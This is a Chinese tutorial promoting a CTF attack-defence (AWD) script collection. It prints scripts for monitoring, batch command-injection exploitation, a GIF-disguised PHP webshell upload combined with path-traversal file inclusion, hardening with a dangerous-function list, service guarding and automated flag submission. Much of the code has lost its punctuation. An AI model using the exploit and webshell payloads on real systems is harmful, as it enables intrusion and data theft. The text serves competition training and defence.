CTF AWD攻防自动化:从脚本合集到实战武器库构建指南
简介本资源是专为CTF线下AWDAttack-Defence攻防对抗赛设计的实战脚本合集面向网络安全初学者及希望提升比赛效率的参赛选手解决AWD模式中攻击响应慢、防御加固难、工具零散等典型痛点。压缩包共34个文件涵盖12个Python脚本含自动化攻击、日志分析、Flag获取与不死马生成等核心功能、6个PHP WebShell及后渗透工具、7个文本类配置与技巧说明如waf绕过、curl调用、Linux监控策略以及exe、rar、md等辅助执行与文档文件整体仅3.18MB轻量易部署。已有2983人学习下载资源结构清晰以Prepare-for-AWD-master为主干目录集成扫描探测、漏洞利用、Web后渗透、日志审计、WAF对抗、服务器加固等完整攻防链路所需脚本与速查指南兼顾即用性与可扩展性助力选手快速建立战术响应能力并深入理解AWD实战逻辑。1. 从“脚本合集”到实战体系一个CTF AWD选手的武器库构建心法如果你玩过CTF的线下攻防赛AWD你一定懂那种感觉比赛一开始整个赛场就只剩下键盘的敲击声和偶尔的叹气。服务器列表在屏幕上跳动你既要像外科医生一样精准地修补自己服务器的漏洞又要像猎人一样快速定位并攻击对手的弱点。时间以秒为单位流逝手速和脑速都被压榨到极限。在这种高压环境下一个预先准备好的、经过实战检验的脚本合集就是你手中最可靠的“瑞士军刀”。它不仅仅是几行代码的堆砌而是一个完整的、自动化的攻防响应体系。今天我就来聊聊如何从一个简单的“脚本合集.zip”压缩包出发构建一套属于你自己的、能在真实AWD战场上发挥作用的自动化武器库。这背后的核心远不止是Python或Shell语法更是一种将重复劳动转化为条件反射式操作的系统性思维。2. 脚本合集的本质解构不只是工具更是策略的固化很多人拿到一个“AWD脚本合集”第一反应是直接运行看看能打出什么效果。这其实走入了一个误区。一个成熟的脚本合集其价值不在于它本身能做什么而在于它如何将复杂的攻防策略拆解成一个个可重复、可组合、可定制的原子操作。2.1 脚本的四大核心功能模块一个完整的AWD脚本体系通常围绕以下四个核心功能展开它们构成了攻防循环的闭环信息搜集与监控模块这是你的“眼睛”和“耳朵”。比赛开始时你需要快速摸清自己的“家底”服务器状态、服务、文件、权限和战场态势对手IP、开放端口。脚本需要自动化完成端口扫描、服务识别、关键文件如Web目录、配置文件备份与监控、进程监控等任务。漏洞利用与攻击模块这是你的“矛”。针对常见的AWD漏洞类型如Web的任意文件读取、命令执行、反序列化Pwn的漏洞利用你需要有能够一键化或半自动化的攻击脚本。这些脚本通常高度定制化需要根据题目提供的源码或二进制文件快速编写或调整。漏洞修复与防御加固模块这是你的“盾”。比攻击更重要的是防守因为丢分往往比得分更容易。脚本需要能快速定位已知漏洞点通过源码审计或流量分析并实施一键修复。例如过滤危险函数、删除后门文件、修补错误配置、设置文件监控和进程守护。自动化响应与维持模块这是你的“自动驾驶系统”。在比赛白热化阶段你需要脚本能自动完成一些周期性任务比如定时备份flag、自动提交flag到计分板、监控服务状态并在异常时自动重启、甚至自动检测并回滚对手的恶意修改。2.2 从“合集”到“体系”的关键跃迁一个压缩包里的零散脚本和一套实战体系区别在于“联动”与“状态”。体系化的脚本之间能够传递信息。例如信息搜集脚本发现的异常文件路径能自动传递给攻击脚本进行测试同时也能传递给防御脚本进行删除或监控。攻击脚本获取的对手flag能自动格式化并提交。这一切都需要一个简单的状态管理机制可能只是一个共享的文本文件或一个内存中的字典但正是它让脚本从单兵作战变成了集团军。3. 信息搜集打造全自动的战场感知系统信息搜集是第一步也是最容易被忽视但至关重要的一步。手动执行ls,ps,netstat命令在分秒必争的AWD中效率太低。3.1 基础环境快照脚本比赛一开始连接上服务器通常是SSH第一件事不是乱翻而是运行一个环境快照脚本。这个脚本应该像CT扫描一样给你一份完整的系统报告。#!/bin/bash # snapshot.sh - 初始环境快照 HOSTNAME$(hostname) IPADDR$(hostname -I | awk {print $1}) SNAPSHOT_FILE/tmp/snapshot_${HOSTNAME}_$(date %Y%m%d_%H%M%S).log echo AWD 初始环境快照 $SNAPSHOT_FILE echo 时间: $(date) $SNAPSHOT_FILE echo 主机名: $HOSTNAME $SNAPSHOT_FILE echo IP地址: $IPADDR $SNAPSHOT_FILE echo $SNAPSHOT_FILE echo 1. 系统用户和权限: $SNAPSHOT_FILE id $SNAPSHOT_FILE echo $SNAPSHOT_FILE echo 2. 进程列表 (TOP 20): $SNAPSHOT_FILE ps aux --sort-%cpu | head -20 $SNAPSHOT_FILE echo $SNAPSHOT_FILE echo 3. 网络连接和监听端口: $SNAPSHOT_FILE netstat -tulpn 2/dev/null | grep -v 127.0.0.1 $SNAPSHOT_FILE echo $SNAPSHOT_FILE echo 4. 计划任务: $SNAPSHOT_FILE crontab -l 2/dev/null $SNAPSHOT_FILE echo $SNAPSHOT_FILE echo 5. 网站根目录文件列表: $SNAPSHOT_FILE # 假设常见的Web目录可根据实际情况修改 for web_dir in /var/www/html /home/wwwroot /usr/local/nginx/html; do if [ -d $web_dir ]; then echo [目录: $web_dir] $SNAPSHOT_FILE find $web_dir -type f -name *.php -o -name *.jsp -o -name *.py | head -30 $SNAPSHOT_FILE fi done echo $SNAPSHOT_FILE echo 6. SUID/SGID特殊权限文件: $SNAPSHOT_FILE find / -type f -perm /6000 2/dev/null | head -20 $SNAPSHOT_FILE echo 快照已保存至: $SNAPSHOT_FILE cat $SNAPSHOT_FILE | less注意这个脚本中的find命令在根目录/下搜索可能会较慢在真实比赛中应根据对题目环境的初步判断缩小搜索范围如/home,/var,/tmp。快照文件最好立即下载到本地备份以防服务器被攻陷后日志被清除。3.2 实时监控与告警脚本光有快照不够你需要实时的“动态感知”。一个简单的监控脚本可以放在后台运行。#!/usr/bin/env python3 # monitor.py - 简易文件与进程监控 import os import time import hashlib import subprocess from pathlib import Path # 监控配置 WEB_DIR /var/www/html # 监控的Web目录 KEY_FILES [index.php, config.php, flag.php] # 关键文件需具体化 CHECK_INTERVAL 10 # 检查间隔秒 def get_file_hash(filepath): 计算文件MD5哈希 try: with open(filepath, rb) as f: return hashlib.md5(f.read()).hexdigest() except: return None def monitor_files(): file_states {} print(f[*] 开始监控目录: {WEB_DIR}) for key_file in KEY_FILES: fp Path(WEB_DIR) / key_file if fp.exists(): file_states[str(fp)] get_file_hash(fp) print(f[] 初始监控: {fp} - Hash: {file_states[str(fp)]}) while True: time.sleep(CHECK_INTERVAL) for filepath, old_hash in list(file_states.items()): current_hash get_file_hash(filepath) if current_hash ! old_hash: print(f[!] 警报: 文件被修改 {filepath}) print(f 旧哈希: {old_hash}) print(f 新哈希: {current_hash}) # 可以在这里触发自动恢复例如从备份还原 file_states[filepath] current_hash # 检查是否有新增加的疑似后门文件例如包含eval, system等函数的php文件 # 此处可扩展更复杂的检测逻辑 if __name__ __main__: monitor_files()这个Python监控脚本提供了一个基础框架。在实际比赛中你需要根据题目特点扩展它比如监控/tmp目录下新出现的可执行文件、监控网络连接中新增的异常外联IP等。4. 漏洞利用将攻击模式转化为可重复的脚本AWD的攻击讲究快、准、狠。当你通过代码审计发现一个漏洞后必须能立即将其转化为对所有对手IP的自动化攻击。4.1 通用攻击脚本模板假设我们发现目标Web应用存在一个cmd参数的任意命令执行漏洞http://target_ip:port/vuln.php?cmdid。手动一个个打效率太低。#!/usr/bin/env python3 # exploit_rce.py - 针对命令执行漏洞的批量利用 import requests import threading import time from queue import Queue # 目标列表通常从比赛平台获取或扫描得到 TARGETS [ 192.168.1.101:8000, 192.168.1.102:8000, # ... 更多目标 ] VULN_PATH /vuln.php COMMAND cat /flag # 要执行的命令获取flag def exploit_target(target): 攻击单个目标 url fhttp://{target}{VULN_PATH} params {cmd: COMMAND} try: # 设置超时避免长时间等待 resp requests.get(url, paramsparams, timeout3) if resp.status_code 200: # 从响应中提取flag这里需要根据实际页面结构调整 # 例如如果flag直接输出在页面上 flag_content resp.text.strip() if flag_content and len(flag_content) 100: # 简单的flag格式判断 print(f[] 成功 {target} - Flag: {flag_content}) # 这里可以调用提交flag的函数 # submit_flag(flag_content) else: print(f[?] 疑似成功 {target}但响应异常: {resp.text[:50]}...) else: print(f[-] 失败 {target} HTTP状态码: {resp.status_code}) except requests.exceptions.RequestException as e: print(f[-] 目标 {target} 连接错误: {e}) def main(): print(f[*] 开始批量攻击 {len(TARGETS)} 个目标...) threads [] for target in TARGETS: t threading.Thread(targetexploit_target, args(target,)) threads.append(t) t.start() # 稍微延迟避免请求过于密集被识别 time.sleep(0.05) for t in threads: t.join() print([*] 攻击批次完成。) if __name__ __main__: main()关键点这个脚本使用了多线程来并发攻击这是AWD攻击脚本的标配因为时间就是分数。但要注意线程数不要过高以免拖垮自己的网络或触发对方的防护机制。time.sleep(0.05)是一个简单的限流措施。4.2 应对复杂漏洞以文件包含为例如果漏洞更复杂比如需要先上传一个文件再包含执行脚本就需要处理多个步骤的会话状态如Cookie。#!/usr/bin/env python3 # exploit_lfi_upload.py - 利用文件上传本地文件包含(LFI)获取flag import requests import re target 192.168.1.101:8000 base_url fhttp://{target} session requests.Session() # 保持会话 # 1. 上传一个图片马假设存在上传点 upload_url f{base_url}/upload.php shell_content bGIF89a?system($_GET[c]);? # 伪造GIF头PHP代码 files {file: (shell.gif, shell_content, image/gif)} resp_upload session.post(upload_url, filesfiles) # 假设上传后返回文件路径这里需要根据实际响应解析 # 例如响应中包含“File saved at: uploads/shell.gif” upload_path re.search(rsaved at: (\S), resp_upload.text) if not upload_path: print([-] 上传失败或无法解析路径) exit() shell_path upload_path.group(1) print(f[] 上传成功文件路径: {shell_path}) # 2. 利用LFI漏洞包含上传的文件 lfi_url f{base_url}/index.php params {page: f../../../{shell_path}} # 路径穿越 params[c] cat /flag # 传递给图片马中PHP代码的参数 resp_lfi session.get(lfi_url, paramsparams) # 从响应中提取flag flag_match re.search(rflag\{[^}]\}, resp_lfi.text) if flag_match: print(f[] 成功获取Flag: {flag_match.group(0)}) else: print([-] 未找到Flag响应内容:, resp_lfi.text[:200])这种脚本的编写高度依赖于对漏洞利用链的清晰理解。在比赛中通常需要快速阅读源码找出漏洞点然后立即构思并实现利用脚本。脚本的鲁棒性错误处理、路径解析直接决定了攻击的成功率。5. 防御加固构建自动化的安全防线防守是AWD的基石。一个容易被攻破的服务器就像漏水的桶赚的分数还不够丢的。防御脚本的目标是快速定位漏洞一键修复持续监控。5.1 源码审计与一键修复脚本拿到Web题目源码通常是PHP后第一件事不是急着看功能而是用脚本快速扫描危险函数和常见漏洞模式。#!/bin/bash # audit_and_fix.sh - 简易PHP源码审计与修复 CODE_DIR/var/www/html BACKUP_DIR/tmp/backup_$(date %s) LOG_FILE/tmp/defense.log echo [*] 开始源码审计与加固... | tee -a $LOG_FILE # 1. 备份原始代码 mkdir -p $BACKUP_DIR cp -r $CODE_DIR/* $BACKUP_DIR/ echo [] 源码已备份至: $BACKUP_DIR | tee -a $LOG_FILE # 2. 扫描危险函数 DANGEROUS_FUNCS(eval system exec shell_exec passthru proc_open popen assert create_function) echo [*] 扫描危险函数... | tee -a $LOG_FILE for func in ${DANGEROUS_FUNCS[]}; do echo 检查函数: $func | tee -a $LOG_FILE grep -r -n $func $CODE_DIR --include*.php | tee -a $LOG_FILE done # 3. 示例修复一个简单的命令执行漏洞 # 假设我们发现 vuln.php 中有 system($_GET[cmd]); VULN_FILE$CODE_DIR/vuln.php if [ -f $VULN_FILE ]; then if grep -q system(\$_GET\[cmd\]) $VULN_FILE; then echo [!] 发现高危漏洞点: $VULN_FILE | tee -a $LOG_FILE # 修复方法1直接删除或注释最粗暴但有效 # sed -i s/system(\$_GET\[cmd\])/\/\/ system(\$_GET[cmd])/g $VULN_FILE # 修复方法2替换为安全的过滤函数更优 # 这里演示一个简单的过滤只允许字母数字 sed -i s/system(\$_GET\[cmd\])/if(preg_match(/^[a-zA-Z0-9\s]$/, \$_GET[cmd])) { system(\$_GET[cmd]); } else { echo Command not allowed; }/g $VULN_FILE echo [] 已尝试修复 $VULN_FILE 中的命令执行漏洞 | tee -a $LOG_FILE fi fi # 4. 检查并设置关键文件权限 echo [*] 设置文件权限... | tee -a $LOG_FILE find $CODE_DIR -type f -name *.php -exec chmod 644 {} \; find $CODE_DIR -type d -exec chmod 755 {} \; # 配置文件通常不应有写权限 find $CODE_DIR -name config*.php -o -name *.ini -o -name .env | xargs chmod 440 2/dev/null echo [*] 加固完成。详细日志见: $LOG_FILE | tee -a $LOG_FILE重要提醒自动修复脚本是一把双刃剑。sed命令的替换可能破坏代码逻辑导致服务不可用。在比赛前必须充分测试修复逻辑。更稳妥的做法是将修复步骤设计为“生成修复补丁”由人工确认后再应用。例如将suggested_fix.patch输出然后手动patch。5.2 服务守护与自动恢复脚本即使修复了漏洞对手也可能通过其他未知漏洞或直接kill进程来破坏服务。一个守护脚本必不可少。#!/usr/bin/env python3 # service_guard.py - 关键服务进程守护 import subprocess import time import logging logging.basicConfig(levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s) # 配置需要守护的服务和启动命令 SERVICES [ { name: web_server, check_cmd: [pgrep, -f, nginx], # 检查进程是否存在 start_cmd: [/usr/sbin/nginx, -c, /etc/nginx/nginx.conf], # 启动命令 restart_interval: 5 # 检查间隔秒 }, { name: php_fpm, check_cmd: [pgrep, php-fpm], start_cmd: [/usr/sbin/php-fpm, --daemonize], restart_interval: 5 }, # 可以添加更多服务如数据库、自定义的pwn服务等 ] def is_service_running(check_cmd): 检查服务是否在运行 try: result subprocess.run(check_cmd, capture_outputTrue, textTrue) return result.returncode 0 and result.stdout.strip() ! except Exception as e: logging.error(f检查服务时出错: {e}) return False def start_service(name, start_cmd): 启动服务 logging.warning(f服务 {name} 未运行尝试启动...) try: subprocess.Popen(start_cmd, stdoutsubprocess.DEVNULL, stderrsubprocess.DEVNULL) logging.info(f服务 {name} 启动命令已执行) time.sleep(2) # 给服务一点启动时间 except Exception as e: logging.error(f启动服务 {name} 失败: {e}) def guard_loop(): logging.info(开始服务守护进程...) while True: for service in SERVICES: if not is_service_running(service[check_cmd]): start_service(service[name], service[start_cmd]) # 可以在这里添加更复杂的健康检查如HTTP请求测试 time.sleep(2) # 主循环检查间隔 if __name__ __main__: guard_loop()这个守护脚本应该以nohup或systemd服务的形式在后台运行。它确保了即使对手关闭了你的Web服务也能在几秒内自动恢复避免因服务下线而被裁判系统扣分。6. 自动化运维将重复操作交给脚本AWD中有大量重复性工作比如每轮通常1-3分钟一轮都要提交一次flag。手动操作不仅慢还容易出错。6.1 自动提交Flag脚本#!/usr/bin/env python3 # auto_submit.py - 自动从日志或监控中提取并提交flag import requests import re import time import threading from queue import Queue # 配置 SUBMIT_URL http://192.168.1.100:8080/submit_flag # 计分板提交接口示例 TEAM_TOKEN YOUR_TEAM_TOKEN_HERE # 队伍Token FLAG_FORMAT rflag\{[a-f0-9]{32}\} # 假设flag格式根据比赛调整 # 一个共享的待提交flag队列 flag_queue Queue() def extract_flags_from_file(log_file): 从指定的日志文件中提取flag try: with open(log_file, r) as f: content f.read() flags re.findall(FLAG_FORMAT, content) return list(set(flags)) # 去重 except: return [] def submit_flag(flag): 提交单个flag data { token: TEAM_TOKEN, flag: flag } try: resp requests.post(SUBMIT_URL, datadata, timeout3) if resp.status_code 200: if success in resp.text.lower(): print(f[] 提交成功: {flag}) return True else: print(f[-] 提交失败已提交或无效: {flag} - {resp.text[:50]}) else: print(f[-] 提交HTTP错误: {flag} - {resp.status_code}) except Exception as e: print(f[-] 提交异常: {flag} - {e}) return False def producer(): 生产者定期从各个来源收集flag sources [ /var/log/attack.log, # 攻击脚本输出的日志 /tmp/captured_flags.txt, # 其他监控进程写入的文件 ] while True: for source in sources: flags extract_flags_from_file(source) for flag in flags: flag_queue.put(flag) print(f[*] 发现新Flag并加入队列: {flag}) time.sleep(30) # 每30秒检查一次 def consumer(): 消费者从队列中取出并提交flag while True: if not flag_queue.empty(): flag flag_queue.get() submit_flag(flag) flag_queue.task_done() else: time.sleep(1) # 队列空时短暂休眠 if __name__ __main__: print([*] 启动自动提交服务...) # 启动生产者线程 prod_thread threading.Thread(targetproducer, daemonTrue) prod_thread.start() # 启动消费者线程可以多个 for i in range(3): # 3个消费者线程并发提交 cons_thread threading.Thread(targetconsumer, daemonTrue) cons_thread.start() # 主线程等待或执行其他任务 try: while True: time.sleep(1) except KeyboardInterrupt: print(\n[*] 停止自动提交服务。)这个脚本采用了经典的生产者-消费者模型。生产者负责从各种渠道攻击日志、监控日志收集flag消费者负责提交。多消费者线程可以应对短时间内获取大量flag的情况。你需要根据比赛平台的提交接口格式和频率限制来调整这个脚本。6.2 一体化管理脚本将碎片整合最后我们需要一个“总控”脚本来协调启动上述所有功能模块。它不一定很复杂但能让你一键进入战斗状态。#!/bin/bash # awd_master.sh - AWD攻防一体化启动脚本 echo AWD 攻防一体化脚本启动 echo 请选择模式 echo 1) 全自动模式 (启动所有监控、守护、自动提交) echo 2) 仅启动防御体系 (监控守护) echo 3) 仅启动攻击体系 (批量攻击) echo 4) 自定义选择... read -p 请输入选项 [1-4]: mode case $mode in 1) echo [*] 启动全自动模式... # 后台启动服务守护 nohup python3 /path/to/service_guard.py guard.log 21 echo [] 服务守护已启动 # 后台启动文件监控 nohup python3 /path/to/monitor.py monitor.log 21 echo [] 文件监控已启动 # 后台启动自动提交 nohup python3 /path/to/auto_submit.py submit.log 21 echo [] 自动提交已启动 # 提示攻击脚本需要手动或定时执行 echo [*] 攻击脚本请根据漏洞情况手动执行: python3 /path/to/exploit_*.py ;; 2) echo [*] 启动防御体系... # 运行源码审计与加固 bash /path/to/audit_and_fix.sh # 启动守护和监控 nohup python3 /path/to/service_guard.py guard.log 21 nohup python3 /path/to/monitor.py monitor.log 21 ;; 3) echo [*] 请手动执行攻击脚本。 ls -la /path/to/exploit_*.py ;; 4) echo [*] 请手动运行所需脚本。 ;; *) echo 无效选项 ;; esac echo 启动完成 echo 查看日志: echo 防御守护: tail -f guard.log echo 文件监控: tail -f monitor.log echo 自动提交: tail -f submit.log这个总控脚本将零散的操作串联起来让你在比赛开始后的黄金一分钟内快速建立起基础的攻防自动化体系从而腾出更多精力去进行更复杂的代码审计和策略思考。7. 脚本合集的维护与进化超越工具本身拥有一个脚本合集只是起点。真正的价值在于你如何让它随着你的经验一起成长。首先分类与归档。不要把所有脚本扔在一个文件夹里。建立清晰的目录结构例如/awd_scripts/ ├── 01_info_gathering/ # 信息搜集 │ ├── snapshot.sh │ └── port_scanner.py ├── 02_exploitation/ # 漏洞利用 │ ├── rce_generic.py │ ├── lfi_upload.py │ └── deserialization.py ├── 03_defense/ # 防御加固 │ ├── audit_fix.sh │ ├── service_guard.py │ └── file_monitor.py ├── 04_automation/ # 自动化 │ ├── auto_submit.py │ └── flag_watchdog.py └── 05_utils/ # 工具函数库 ├── network.py └── payloads.py其次编写使用说明和注释。在脚本开头用注释写明功能、参数、依赖和环境。三个月后你自己可能都忘了某个参数是干嘛的。好的注释和README是脚本生命力的保障。第三实战检验与迭代。每次比赛后复盘哪些脚本好用哪些不好用。攻击脚本是否因为目标环境变化而失效防御脚本是否漏掉了某种攻击手法根据复盘结果修改、优化甚至重写脚本。将比赛中临时写的有效脚本规范化后加入你的武器库。最后也是最重要的理解原理而非复制粘贴。脚本是思维的体现。如果你不理解sed命令中正则表达式的细节你可能会写出有副作用的修复命令。如果你不理解HTTP协议和会话管理你的攻击脚本就无法处理需要登录的漏洞。花时间读懂你脚本的每一行代码知道它在什么情况下会成功什么情况下会失败以及为什么会这样。说到底AWD脚本合集.zip解压开后里面装的不是冰冷的代码而是一个选手对攻防对抗的理解、对效率的追求以及对重复工作的自动化本能。它从简单的命令别名alias开始逐渐演变成监控脚本、利用脚本、守护脚本最终形成一个相互呼应的生态系统。这个系统的强大与否不取决于你收集了多少别人的脚本而取决于你花了多少时间将你自己的实战经验和策略思考固化到这些可执行的代码之中。当你下次比赛从容地敲下./awd_master.sh看着屏幕上一行行自动滚动的日志时你就会明白真正的武器是你自己。本文还有配套的精品资源点击获取